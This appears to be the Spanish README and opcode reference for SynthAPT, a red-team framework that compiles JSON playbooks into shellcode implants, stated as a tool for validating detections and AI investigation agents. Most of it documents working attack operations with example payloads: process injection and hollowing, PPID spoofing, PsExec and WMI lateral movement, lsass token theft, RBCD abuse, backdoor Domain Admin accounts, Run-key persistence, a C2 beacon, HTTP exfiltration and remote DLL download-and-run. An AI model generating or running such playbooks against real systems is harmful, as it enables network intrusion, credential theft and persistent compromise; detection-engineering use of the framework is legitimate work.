Marco de simulación de adversarios basado en playbooks que compila rutas de ataque definidas en JSON en payloads de shellcode independientes de posición para validar detecciones avanzadas y agentes de investigación basados en IA.

SynthAPT es un marco de simulación de adversarios basado en playbooks para replicar rutas de ataque complejas. Está diseñado para validar detecciones avanzadas y agentes de investigación basados en IA. La idea central es que el comportamiento del malware puede expresarse en JSON y compilarse en malware funcional, permitiendo el desarrollo rápido de escenarios realistas utilizando LLMs.

El implante central es una carga útil de shellcode controlada por un intérprete de playbook. Un playbook predefine toda la ruta de ataque y el implante la sigue, moviéndose por el entorno mediante inyección de procesos, movimiento lateral, etc. Cada implante se genera como un hilo independiente con su propio conjunto de instrucciones, por lo que los ataques de múltiples etapas (por ejemplo, acceso inicial → escalada de privilegios → movimiento lateral → exfiltración) se expresan como un gráfico de implantes cooperantes, todos definidos de antemano en el playbook. Esto tiene tres ventajas principales:

Si no desea usar la versión precompilada, puede compilarlo de la siguiente manera:
Construir con cargo make:```bash
cargo make build
./target/release/synthapt
Esto compilará el shellcode y el editor.
Ejecutar SynthAPT sin ningún comando te llevará al editor. Puedes proporcionar una clave API de Claude y ver los cambios a medida que indicas.```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
Si quieres usar otro LLM o una suscripción, puedes ejecutar `synthapt export-skill` y usarlo con cualquier configuración de codificación que tengas.
Debería generar un playbook JSON. Compílalo en un payload con el comando compile:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Las constantes se pueden definir como cadenas, objetos hexadecimales u objetos base64:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
Fin del conjunto de tareas. Añadido automáticamente por el compilador – no es necesario que lo agregues.
---
### store_result (0x01)
Almacena el último resultado de la operación en una variable.
| Campo | Tipo | |
|-------|------|-|
| var | u16 | **obligatorio** |```json
{ "op": "store_result", "var": 0 }
Devuelve los bytes de shellcode actuales con un ID de tarea opcional y/o un valor mágico insertado.
| Campo | Tipo | |
|---|---|---|
| task | u8 | opcional |
| magic | u32 cadena hexadecimal o número | opcional |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
### sleep (0x03)
Espera durante el número especificado de milisegundos.
| Campo | Tipo | |
|-------|------|-|
| ms | u32 | **requerido** |```json
{ "op": "sleep", "ms": 5000 }
Ejecuta un comando a través de cmd.exe.
| Campo | Tipo | |
|---|---|---|
| command | string | requerido |
| { "op": "run_command", "command": "whoami /all" } |
---
### get_cwd (0x05)
Obtener el directorio de trabajo actual. Sin argumentos.```json
{ "op": "get_cwd" }
Lee un archivo y devuelve su contenido.
| Campo | Tipo | |
|---|---|---|
| path | string | obligatorio |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
Escribir bytes en un archivo.
| Campo | Tipo | |
|-------|------|-|
| path | string | **requerido** |
| content | bytes | *opcional* (archivo vacío si se omite) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
Imprime el código de estado de una variable (0 = éxito, distinto de cero = error).
| Campo | Tipo | |
|---|---|---|
| var | u16 | requerido |
| { "op": "check_error", "var": 0 } |
---
### condicional (0x09)
Salta a diferentes índices de tarea según el estado de la variable.
| Field | Type | |
|-------|------|-|
| mode | `"data"` o `"error"` | **requerido** |
| var1 | u16 | **requerido** |
| var2 | u16 | *opcional* (compara dos variables en lugar de una única verificación) |
| true | u16 | **requerido** (índice de tarea si la condición es verdadera) |
| false | u16 | **requerido** (índice de tarea si la condición es falsa) |
`true_target` y `false_target` se aceptan como alias de `true` y `false`.
Modos de una variable:
- `"data"` — verdadero si var1 tiene datos no vacíos
- `"error"` — verdadero si el estado de var1 es 0 (éxito)
Modos de dos variables (con var2):
- `"data"` — verdadero si los datos de var1 son iguales a los datos de var2
- `"error"` — verdadero si el código de error de var1 es igual al código de error de var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
Establecer una variable a un valor literal.
| Campo | Tipo | |
|---|---|---|
| var | u16 | requerido |
| data | bytes | opcional (vacío si se omite) |
Los literales de cadena y valores hexadecimales/base64 se almacenan con un prefijo de resultado de 5 bytes para que parezcan resultados normales de operación al ser leídos. Las referencias a variables ($n) y constantes (%n) se pasan tal cual.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
Imprime el contenido de una variable en stdout (depuración). Omite `var` para imprimir el último resultado de la operación.
| Field | Type | |
|-------|------|-|
| var | u16 | *opcional* (imprime el último resultado si está ausente) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
Salto incondicional a un índice de tarea dentro del conjunto de tareas actual.
| Campo | Tipo | |
|---|---|---|
| target | u16 | requerido |
| { "op": "goto", "target": 2 } |
### migrate (0x0D)
Inyectar shellcode en un proceso que coincida con una cadena de búsqueda o PID.
| Campo | Tipo | |
|-------|------|-|
| task_id | u8 | **requerido** |
| search | cadena o número | *opcional* (vacío = sin búsqueda; número = PID objetivo) |
| magic | cadena hex u32 o número | *opcional* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
Lista los procesos en ejecución. Devuelve líneas separadas por tabulaciones: pid\timage\tcmdline\n. Sin argumentos.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Carga una constante en el último resultado. Acepta `index` o `const_idx` como nombre del campo.
| Campo | Tipo | |
|-------|------|-|
| index | u16 | **obligatorio** |```json
{ "op": "get_const", "index": 0 }
Ejecuta un comando a través de WMI, opcionalmente en un host remoto.
| Campo | Tipo | |
|---|---|---|
| command | string | obligatorio |
| host | string | opcional (vacío = localhost) |
| user | string | opcional (vacío = usuario actual) |
| pass | string | opcional (vacío = credenciales actuales) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
Enviar una solicitud HTTP/S.
| Campo | Tipo | |
|-------|------|-|
| host | string | **obligatorio** |
| método | string | *opcional* (predeterminado: `"GET"`) |
| puerto | u16 | *opcional* (predeterminado: `80`) |
| ruta | string | *opcional* (predeterminado: `"/"`) |
| seguro | bool | *opcional* (predeterminado: `false`) |
| cuerpo | bytes | *opcional* (vacío si se omite) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
Crear un proceso suspendido, inyectar shellcode y reanudarlo.
| Field | Type | |
|---|---|---|
| image | string | requerido |
| task_id | u8 | requerido |
| pipe_name | string | opcional (pipe con nombre para captura de salida, sin el prefijo \\.\pipe\) |
| search | string | opcional (nombre de proceso/línea de comandos para falsificar PPID de) |
| no_kill | bool | opcional (predeterminado: false — el proceso se elimina después de la inyección) |
| { "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" } |
### redirect_stdout (0x13)
Redirige stdout a un archivo o pipe con nombre. La salida posterior de `run_command` se dirige allí.
| Campo | Tipo | |
|-------|------|-|
| path | string | **requerido** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
Inicia un servidor TCP que sirve shellcode a los clientes que se conectan. Cada cliente recibe una copia con un valor mágico incremental.
| Campo | Tipo | |
|---|---|---|
| port | u16 | requerido |
| magic_base | cadena hex u32 o número | opcional |
| { "op": "shellcode_server", "port": 8080 } | ||
| { "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" } |
---
### resolve_hostname (0x15)
Resolver un nombre de host a una cadena de dirección IPv4.
| Field | Type | |
|-------|------|-|
| hostname | string | **obligatorio** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
Copia un binario a un host remoto a través de SMB y lo ejecuta como un servicio (movimiento lateral estilo PsExec).
| Field | Type | |
|---|---|---|
| target | string | requerido (nombre de host o IP) |
| service_name | string | requerido |
| display_name | string | requerido |
| binary_path | string | requerido (ruta en el host remoto) |
| service_bin | bytes | requerido (datos binarios a escribir) |
| { "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" } |
---
### generate_exe (0x17)
Generar un ejecutable PE con el shellcode actual y el bytecode incrustado.
| Campo | Tipo | |
|-------|------|-|
| task_id | u8 | **obligatorio** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
Ejecutar un archivo de objeto Beacon (BOF).
| Field | Type | |
|---|---|---|
| bof_data | bytes | requerido |
| entry | string | opcional (predeterminado: "go") |
| inputs | bytes | opcional (argumentos BOF, vacío si se omite) |
| { "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" } | ||
| { "op": "run_bof", "bof_data": "$0" } |
### query_ldap (0x19)
Consultar un directorio LDAP.
| Field | Type | |
|-------|------|-|
| base | string | **requerido** (DN base) |
| filter | string | **requerido** |
| scope | u8 | *opcional* (predeterminado: `2` = subárbol; `0` = base, `1` = un nivel) |
| attribute | string | *opcional* (vacío = devolver todos los atributos) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
Establecer un atributo de Active Directory a un valor de cadena.
| Campo | Tipo | |
|---|---|---|
| dn | string | requerido |
| attr | string | requerido |
| value | string | requerido |
| { "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" } |
### set_ad_attr_bin (0x1B)
Establece un atributo de Active Directory a un valor binario. Pasa un valor vacío para eliminar el atributo.
| Field | Type | |
|-------|------|-|
| dn | string | **requerido** |
| attr | string | **requerido** |
| value | bytes | **requerido** (vacío = eliminar atributo) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
Escanea puertos TCP en uno o más objetivos. Devuelve líneas host\tport\n solo para puertos abiertos.
| Campo | Tipo | |
|---|---|---|
| targets | string | obligatorio (IPs separadas por comas, CIDRs, rangos o nombres de host; alias: host) |
| ports | string | obligatorio (puertos separados por comas o rangos, p.ej. "22,80,443,8000-8100") |
| { "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" } | ||
| { "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" } |
---
### set_user_password (0x1D)
Establecer la contraseña de un usuario local o de dominio mediante NetUserSetInfo.
| Campo | Tipo | |
|-------|------|-|
| username | string | **requerido** |
| password | string | **requerido** |
| server | string | *opcional* (vacío = máquina local) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
Agregar un usuario a un grupo local mediante NetLocalGroupAddMembers.
| Field | Type | |
|---|---|---|
| grupo | string | requerido |
| nombre de usuario | string | requerido |
| servidor | string | opcional (vacío = máquina local) |
| { "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" } | ||
| { "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" } |
### remove_user_from_localgroup (0x1F)
Elimina un usuario de un grupo local a través de NetLocalGroupDelMembers.
| Campo | Tipo | |
|-------|------|-|
| group | string | **requerido** |
| username | string | **requerido** |
| server | string | *opcional* (vacío = máquina local) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
Busca la cadena SID de un usuario mediante LookupAccountName.
| Campo | Tipo | |
|---|---|---|
| username | string | requerido |
| server | string | opcional (vacío = máquina local) |
Retorna una cadena SID, p. ej. S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Agregar un usuario a un grupo de dominio mediante NetGroupAddUser.
| Campo | Tipo | |
|-------|------|-|
| group | string | **requerido** |
| username | string | **requerido** |
| server | string | *opcional* (empty = local DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
Eliminar un usuario de un grupo de dominio mediante NetGroupDelUser.
| Campo | Tipo | |
|---|---|---|
| group | string | requerido |
| username | string | requerido |
| server | string | opcional (vacío = DC local) |
| { "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" } |
---
### create_rbcd_ace (0x23)
Construye un ACE binario para Delegación Restringida Basada en Recursos. El resultado es adecuado para escribir directamente en `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Campo | Tipo | |
|-------|------|-|
| sid | string | **requerido** (cadena SID, p. ej. de `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
Crear una clave de registro.
| Campo | Tipo | |
|---|---|---|
| key | string | requerido (ruta completa, ej. "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } |
---
### reg_delete_key (0x25)
Eliminar una clave de registro.
| Field | Type | |
|-------|------|-|
| key | string | **requerido** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
Establece un valor del registro.
| Campo | Tipo | |
|---|---|---|
| key | string | requerido |
| value_name | string | requerido (cadena vacía para el valor por defecto) |
| value | bytes | requerido |
| value_type | string | opcional (por defecto: "REG_SZ"; también: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD) |
| { "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" } | ||
| { "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } } |
---
### reg_query_value (0x27)
Consulta un valor del registro. Devuelve bytes de valor sin procesar.
| Campo | Tipo | |
|-------|------|-|
| key | string | **obligatorio** |
| value_name | string | **obligatorio** (cadena vacía para el valor predeterminado) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
Crea un token de suplantación a través de LogonUser y lo suplanta. El tipo de inicio de sesión predeterminado es 9 (LOGON32_LOGON_NEW_CREDENTIALS), que utiliza las credenciales proporcionadas para conexiones de red salientes mientras mantiene el token local sin cambios.
| Field | Type | |
|---|---|---|
| username | string | obligatorio |
| password | string | obligatorio |
| domain | string | opcional (vacío = grupo de trabajo o formato UPN) |
| logon_type | u8 | opcional (predeterminado: 9; 2 = interactivo, 3 = red) |
| { "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" } | ||
| { "op": "make_token", "username": "[email protected]", "password": "Password1" } | ||
| { "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 } |
---
### impersonate_process (0x29)
Abre un token de proceso y suplántalo. Útil para escalada de privilegios o robo lateral de tokens.
| Field | Type | |
|-------|------|-|
| search | string | **obligatorio** (coincide con el nombre de la imagen o la línea de comandos) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
Habilitar un privilegio en un token de proceso.
| Campo | Tipo | |
|---|---|---|
| privilege | string | requerido (alias: priv_name) |
| search | string | opcional (vacío = proceso actual) |
| { "op": "enable_privilege", "privilege": "SeDebugPrivilege" } | ||
| { "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" } |
### list_process_privs (0x2B)
Lista los nombres de privilegios y su estado habilitado/deshabilitado para un proceso. Devuelve líneas `name\tenabled\n` o `name\tdisabled\n`.
| Field | Type | |
|-------|------|-|
| search | string | *opcional* (vacío = proceso actual) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
Lista los privilegios en el token del hilo actual. Devuelve el mismo formato que list_process_privs. Sin argumentos.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
Eliminar un archivo.
| Campo | Tipo | |
|-------|------|-|
| path | string | **obligatorio** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
Revierte al token de proceso original, finalizando cualquier suplantación. Sin argumentos.```json { "op": "revert_to_self" }
### start_service (0x2F)
Iniciar un servicio de Windows.
| Campo | Tipo | |
|-------|------|-|
| service_name | string | **requerido** |
| target | string | *opcional* (vacío = máquina local) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
Eliminar un servicio de Windows.
| Field | Type | |
|---|---|---|
| service_name | string | requerido |
| target | string | opcional (vacío = máquina local) |
| { "op": "delete_service", "service_name": "MySvc" } | ||
| { "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" } |
---
### create_thread (0x31)
Genera un nuevo hilo en el proceso actual ejecutando una copia del shellcode. Si se omite `magic`, escanea los montones del proceso para encontrar un magic único que no colisione con instancias existentes.
| Campo | Tipo | |
|-------|------|-|
| task | u8 | *opcional* (omitir o `255` = mismo conjunto de tareas que el hilo actual) |
| magic | u32 hex string o número | *opcional* (auto-detectado si se omite) |
> **Advertencia**: omitir `task` ejecuta el mismo conjunto de tareas en un nuevo hilo. Si el conjunto de tareas vuelve a llamar a `create_thread`, esto causa hilos infinitos.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
Genera un DLL con el shellcode actual incrustado. Ejecuta el shellcode en DLL_PROCESS_ATTACH y exporta una función con nombre que también ejecuta el shellcode.
| Campo | Tipo | |
|---|---|---|
| task_id | u8 | requerido |
| export_name | string | opcional (por defecto: "Run") |
| { "op": "generate_dll", "task_id": 2 }, | ||
| { "op": "store_result", "var": 0 }, | ||
| { "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" } |
---
### shell_execute (0x33)
Ejecuta un archivo usando ShellExecuteEx a través de COM. El proceso resultante parece ser lanzado por el shell.
| Campo | Tipo | |
|-------|------|-|
| path | cadena | **requerido** |
| verb | cadena | *opcional* (p.ej. `"open"`, `"runas"`) |
| args | cadena | *opcional* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Extraer un archivo ZIP usando el Shell de Windows.
| Campo | Tipo | |
|---|---|---|
| path | string | obligatorio (ruta al archivo ZIP) |
Extrae en una carpeta con el mismo nombre que el ZIP (sin extensión) en el mismo directorio.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
Ejecuta un archivo mediante explorer.exe como proceso padre usando COM. El proceso generado parece haber sido lanzado por el usuario desde el Explorador.
| Field | Type | |
|-------|------|-|
| path | string | **required** |
| verb | string | *optional* |
| args | string | *optional* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
Cargar una DLL en el proceso actual mediante LoadLibraryW.
| Field | Type | |
|---|---|---|
| path | string | requerido |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } |
---
### pyexec (0x37)
Descargar un DLL de Python desde una URL (almacenado en caché en memoria después de la primera descarga), luego ejecutar un script de Python. Expone un módulo `agent` con enlaces a todos los códigos de operación del agente.
| Field | Type | |
|-------|------|-|
| url | string | *opcional* (URL al DLL de Python; vacío = usar Python ya cargado) |
| script | string | *opcional* (código Python a ejecutar; vacío = inicializar sin ejecutar) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
Vaciado de procesos: iniciar un proceso legítimo suspendido, sobrescribir su punto de entrada con shellcode y reanudarlo.
| Field | Type | |
|---|---|---|
| image | string | obligatorio |
| task_id | u8 | obligatorio |
| search | string | opcional (nombre de proceso/línea de comandos para falsificar el PPID) |
| { "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 } | ||
| { "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" } |
---
### migrate_apc (0x39)
Spawn a process suspended, allocate RWX memory, write shellcode, queue an APC to the main thread, and resume. Returns the spawned process PID.
| Campo | Tipo | |
|-------|------|-|
| image | string | **requerido** |
| task_id | u8 | **requerido** |
| magic | u32 hex string or number | *opcional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
Registra el proceso actual como un servicio de Windows llamando a StartServiceCtrlDispatcher. Debe llamarse temprano cuando el proceso es iniciado por el Administrador de Control de Servicios (SCM), de lo contrario, el SCM lo terminará después de ~30 segundos. Ejecuta la comunicación con el SCM en un hilo en segundo plano para que la tarea principal continúe con normalidad.
| Campo | Tipo | |
|---|---|---|
| service_name | string | requerido (alias: name) |
| { "op": "register_service", "service_name": "MySvc" } |
---
### exit_process (0x3B)
Termina el proceso actual.
| Field | Type | |
|-------|------|-|
| exit_code | u32 | *opcional* (valor predeterminado: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
Generar un proceso suspendido e inyectar shellcode mediante APC. Similar a migrate_apc pero con suplantación opcional de PPID.
| Campo | Tipo | |
|---|---|---|
| image | string | requerido |
| task_id | u8 | requerido |
| search | string | opcional (nombre de proceso/cmdline para suplantar PPID de) |
| { "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" } |
---
### frida_hook (0x3F)
Descarga un DLL de Frida gadget desde una URL (se almacena en caché tras la primera descarga) e instala un hook de JavaScript.
| Campo | Tipo | |
|-------|------|-|
| url | string | **requerido** |
| script | string | **requerido** (JavaScript usando la API de Frida) |
| name | string | *opcional* (nombre del hook para referencia posterior con `frida_unhook`) |
| callback_host | string | *opcional* (host al que se enviará un HTTP POST con los mensajes de `send()`) |
| callback_port | u16 | *opcional* |
| batch_size | u32 | *opcional* (mensajes por lote HTTP POST; predeterminado: `50`) |
| flush_interval | u32 | *opcional* (intervalo de vaciado en ms; predeterminado: `5000`) |
Los mensajes enviados mediante `send()` en JavaScript se publican en `callback_host:callback_port/frida` o se escriben en stdout si no hay ningún callback configurado.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
Descarga un hook de Frida. Sin argumentos, descarga todos los hooks.
| Campo | Tipo | |
|---|---|---|
| hook_id | i32 | opcional (ID del hook devuelto por frida_hook) |
| name | string | opcional (nombre del hook establecido con el campo name de frida_hook) |
| { "op": "frida_unhook" } | ||
| { "op": "frida_unhook", "hook_id": 1 } | ||
| { "op": "frida_unhook", "name": "my_hook" } |
### kill (0x42)
Mata una instancia de agente en ejecución por su valor mágico.
| Campo | Tipo | |
|-------|------|-|
| magic | u32 cadena hexadecimal o número | *opcional* (omita para matar la instancia actual) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
Conéctate a un servidor C2 HTTP y sondea para obtener tareas de bytecode.
| Field | Type | |
|---|---|---|
| host | string | opcional |
| port | u16 | opcional (por defecto: 80) |
| interval | u32 | opcional (intervalo de sondeo en ms; por defecto: 5000) |
| secure | bool | opcional (por defecto: false) |
| agent_id | string | opcional (identificador enviado en las peticiones de beacon) |
| { "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true } |
---
### mem_read (0x44)
Lee bytes sin procesar desde una dirección de memoria en el proceso actual o remoto.
| Campo | Tipo | |
|-------|------|-|
| address | hex string | **requerido** (dirección como caracteres hex, p.ej. `"7FFE0030"`; el prefijo `0x` se elimina automáticamente) |
| size | u32 | **requerido** |
| pid | u32 | *opcional* (proceso remoto; omitir para lectura local) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
Recorre la PEB LDR InLoadOrderModuleList y devuelve los módulos cargados. Devuelve postcard-serialized Vec<ProcessResult<ModuleInfo>>.
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | opcional (omitir = proceso actual; "all" = cada proceso accesible) |
| { "op": "dll_list" } | ||
| { "op": "dll_list", "pid": 1234 } | ||
| { "op": "dll_list", "pid": "all" } |
---
### mem_map (0x46)
Enumerar regiones de memoria virtual mediante `VirtualQuery`/`VirtualQueryEx`. Devuelve `Vec<ProcessResult<MemRegion>>` serializado en postcard. Omite regiones FREE; las regiones IMAGE incluyen nombre de módulo y sección PE.
| Field | Type | |
|-------|------|-|
| pid | u32 o `"all"` | *opcional* (omitir = proceso actual; `"all"` = cada proceso accesible) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
Encuentra regiones de memoria privadas comprometidas ejecutables — indicadores de shellcode inyectado o DLLs reflectivos. Omite páginas de solo ceros y anota regiones con cabeceras MZ. Devuelve Vec<ProcessResult<MalfindHit>> serializado en postcard.
| Campo | Tipo | |
|---|---|---|
| pid | u32 o "all" | opcional (omitir = proceso actual; "all" = cada proceso accesible) |
| { "op": "malfind" } | ||
| { "op": "malfind", "pid": 1234 } | ||
| { "op": "malfind", "pid": "all" } |
---
### ldr_check (0x48)
Hace referencia cruzada de las regiones de memoria IMAGE contra la lista de módulos del PEB para encontrar DLLs desvinculadas u ocultas — regiones con cabeceras MZ no presentes en `InLoadOrderModuleList`. Devuelve `Vec<ProcessResult<LdrCheckHit>>` serializado con postcard.
| Field | Type | |
|-------|------|-|
| pid | u32 or `"all"` | *opcional* (omitir = proceso actual; `"all"` = cada proceso accesible) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Como todos los frameworks, el implante tiene una huella de memoria distinta y muchas cadenas de texto plano que lo delatan. Puedes crear firmas a partir del archivo de shellcode base: out/shellcode.bin
Este proyecto extiende Rustic64Shell de safedev.
La DLL de Python cargada reflexivamente proviene de farfella